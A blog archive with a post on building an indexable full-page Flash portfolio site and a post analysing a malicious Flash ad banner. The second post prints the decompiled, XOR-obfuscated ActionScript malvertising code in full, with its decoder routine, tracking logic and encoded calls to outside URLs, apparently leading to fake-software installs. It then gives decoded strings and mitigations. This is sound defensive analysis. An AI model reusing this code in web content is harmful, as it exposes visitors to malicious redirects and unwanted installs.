Archive for category Flash

New Portfolio Site Launch!

Posted by sosuke in Flash, Portfolio, Website Analysis on May 29th, 2008

I launched my new portfolio site for Barrett Sonntag Online and wanted to talk a little on the technical aspects of the new all Flash site. After doing my analysis on the World of Warcraft website (worldofwarcraftcom front and back-end analysis) I wanted to see what it would take to combine a little JavaScript, HTML and Flash to create a SEO compliant full page Flash site. I have been shy about using full page Flash since getting my name listed in the major search engines, Flash is notoriously bad at SEO because it’s content is not usually indexable.

I wanted Flash to take the content straight from the page it was loaded it, to make it’s containing page have the XML data it would load. JavaScript provided the method required already, innerHTML. The innerHTML functionality works to take a HTML DOM elements subnodes and copy the structure and body text as a string. It worked great in Firefox and Safari but IE was screwing with the output forcing element names to uppercase and stripping quotes (“) from attribute values. Flash choked on this malformed XML data and I was stuck. I looked for a couple hours for how I could remedy IE’s nasty way of handling innerHTML and decided to sleep on it after posting on a popular online forum WebDeveloper.com. I didn’t get the answer handed so much as the path shown when I woke up the next morning, regular expressions. You can see the thread and my terrible but working solution http://www.webdeveloper.com/forum/showthread.php?t=182391.

With the IE innerHTML issue out of the way I was able to move on to the design of the site. Multiple columns with minimum wide items that auto adjusted just like inline elements in HTML. I don’t envy web browser developers this was no easy task. The next issue I ran into was setting up the Actionscript 3.0 event MouseWheel.MOUSE_SCROLL to fire allowing for the rows to move via the mousewheel or trackpad scrolling. It worked wonderfully in all browsers on my PC and failed completely on the test Macs I had access too. Lucky for me someone had already done the footwork and setup a JavaScript function that told the Flash file when the MOUSE_SCROLL event was being fired since Firefox and Safari on the Mac were not. Gabriel is to thank for this wonderfully easy to setup solution you can find on his site http://blog.pixelbreaker.com/flash/as30-mousewheel-on-mac-os-x/.

I am extremely happy with the outcome of this site as it is that full page Flash I was hoping for while still allowing search engines to see the full content of the site laid out in divs using class and id attributes.

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De-constructing Malicious Flash

Posted by sosuke in Flash, Website Analysis on November 22nd, 2007

Last Friday I was approached by my boss to look into an advertisers banners due to reports of malware notifications when browsing our site. It sounded far fetched to think that Flash was executing malicious code on the client side browsers but I cracked open the SWF files with a de-compiler to take a look.

It was a mess, a little searching let me know that it was probably encrypted by Amayeta SWF Encrypt as seen from the review at Flash Valley. It turned out that my superiors had already confronted the client with the information that they suspected their ads of containing malware and the client replied with a fixed version that they had just handed over me to look at.

I wasn’t going to stop there though and I found the original files to see if they matched. File size of the originals was smaller so I threw them through the de-compiler again and lo there was human readable code. Why would the client send over fixed files that were obfuscated when the originals were not?

Here is the code that I found sitting in an unassuming movieclip with not content other than the single frame and actionscript.

_root.c1 = "47ED02";
_root.c2 = "46E91A247C";
_root.c3 = "7FF817257C8DF8";
_root.c4 = "50E70523";
_root.c5 = "7FD7153B7080E795EA776F";
_root.c6 = "48FC022723CCA3A8F36070509F2105CBA738D20F50A22FD09E2BB7495689293D5623312668";
_root.c7 = "11";
_root.c8 = "10";
_root.c9 = "10";
_root.c10 = "11";
_root.c11 = "10";
_root.c12 = "17";
_root.c13 = "48FC022723CCA3";
_root.c14 = "10";
_root.c15 = "0DB1";
_root.c16 = "10";
_root.c17 = "48FC022723CCA3A7E67676518C201D9BA138D20F50A263C7922FAD031B923C634721342266E62EB8CBA9707F3088182CC3";
_root.c18 = "14B8";
_root.c19 = "53ED17257A8BF8A5F66B774FCB73559FE6268157";
_root.c20 = "0F";
_root.c21 = "11BF446F29D3BCFAAF";
_root.c22 = "7FD7022D";
_root.c23 = "7FFD043B";
_root.c24 = "53FD14246D91";
_root.c25 = "7FD7102363";
_root.c26 = "7FD7103B6F";
_root.c27 = "7FD710347188";
_root.c28 = "53ED1833";
_root.c29 = "47ED0203708EE9B0F06B666C9C2317CAA0";
String.prototype.color = function (eslogan)
{
var _loc3 = eslogan;
var result = "";
var _loc1;
var n;
var _loc2;
_loc1 = 0;
(n = this.length);
while (_loc1 &lt; n)
{
_loc2 = parseInt(this.slice(_loc1, _loc1 + 2), 16) ^ _loc3 &gt;&gt; 8 &amp; 255;
if (_loc2 &gt; 127)
{
_loc2 = _loc2 + 848;
} // end if
result = result + String.fromCharCode(_loc2);
_loc3 = (_loc3 * 52845 + 22719) % 16777215;
_loc1 = _loc1 + 2;
} // end while
trace(result);
return (result);
};
_root[_root.c26.color(14688422)] = function ()
{
var _loc1 = _root;
_loc1._visible = false;
_loc1.createEmptyMovieClip("emc", _loc1.getNextHighestDepth());
_loc1.emc.u = dt.getTime();
if (parseInt(_loc1.c10.color(14688422)))
{
_loc1.emc.loadVariables(_loc1.c17.color(14688422),_loc1.c1.color(14688422));
_loc1.i = setInterval(_loc1[_loc1.c27.color(14688422)], 100);
return;
} // end if
_loc1[_loc1.c27.color(14688422)]();
};
_root[_root.c27.color(14688422)] = function ()
{
var _loc1 = _root;
if (_loc1.emc.stats == _loc1.c2.color(14688422) || !parseInt(_loc1.c10.color(14688422)))
{
clearInterval(_loc1.i);
new LoadVars()[_loc1.c28.color(14688422)](_loc1.c6.color(14688422),_loc1.c3.color(14688422), _loc1.c4.color(14688422));
so = SharedObject.getLocal(_loc1.c19.color(14688422),_loc1.c20.color(14688422));
so.data.uzhe = _loc1.uzhe = 1;
if (_loc1.emc.exp)
{
dt = new Date();
cr = dt.getTime();
so.data.expires = cr + _loc1.emc.exp * 24 * 60 * 60 * 1000;
} // end if
so.flush();
return;
} // end if
if (_loc1.emc.stats || --_loc1.lim == 0)
{
_loc1._visible = !(_loc1.uzhe &amp;&amp; parseInt(_loc1.c9.color(14688422)));
clearInterval(_loc1.i);
} // end if
};
if (r == undefined)
{
r = 1;
_root.uzhe = 0;
_root.lim = parseInt(_root.c18.color(14688422));
_root[_root.c22.color(14688422)] = -new Date()[_root.c29.color(14688422)]() / 60;
if (parseInt(_root.c18.color(14688422)) &amp;&amp; (!parseInt(_root.c7.color(14688422)) || _root[_root.c23.color(14688422)][_root.c24.color(14688422)](parseInt(_root.c11.color(14688422)), parseInt(_root.c12.color(14688422))) == _root.c13.color(14688422)) &amp;&amp; (!parseInt(_root.c14.color(14688422)) || !(_root[_root.c22.color(14688422)] &gt;= parseInt(_root.c15.color(14688422)) &amp;&amp; _root[_root.c22.color(14688422)] &lt;= parseInt(_root.c16.color(14688422)))))
{
dt = new Date();
cr = dt.getTime();
so = SharedObject.getLocal(_root.c19.color(14688422), _root.c20.color(14688422));
_root.uzhe = so.data.uzhe;
_root._visible = !(_root.uzhe &amp;&amp; parseInt(_root.c9.color(14688422)));
if (parseInt(_root.c8.color(14688422)) &gt; 1)
{
if (!so.data.expires)
{
so.data.expires = cr;
} // end if
++so.data.view;
} // end if
if (cr &gt; so.data.expires || so.data.view == parseInt(_root.c8.color(14688422)))
{
so.data.expires = cr + parseInt(_root.c21.color(14688422));
so.flush();
_root[_root.c26.color(14688422)]();
} // end if
so.flush();
} // end if
} // end if
 
false;

Wow, it was like nothing I had ever seen before. I immediately stuck a trace at the end of the new String prototype for result to see just what types of information it was returning.

__flv
__fchk
40
__tz
getTimezoneOffset
40
1
7
0
_url
substr
http://
__flv
__fchk

The last two lines __flv and __fchk just kept repeating as the SWF played on. I turned to the search engines and started pasting parts of this code in to find someone else that had run into this. I turned up a txt file from the site Mike on Ads – Errorsafe. He even put together an example of what this type of code can do if you look at the comments of that post or just visit it directly at http://mikeonads.com/errorsafe_test.html (just don’t click Yes when it prompts you to install stuff). As Mike pointed out this is circumvented with new security features in the Flash 9 player and setting AllowScriptAccess false in the HTML embed / object code.

I wanted to document my experience with this mainly to give another source of reference because Mike on Ads was the only reference to this code I could find and wasn’t able to find anyone who could explain just what this code wants to do with the users browser.

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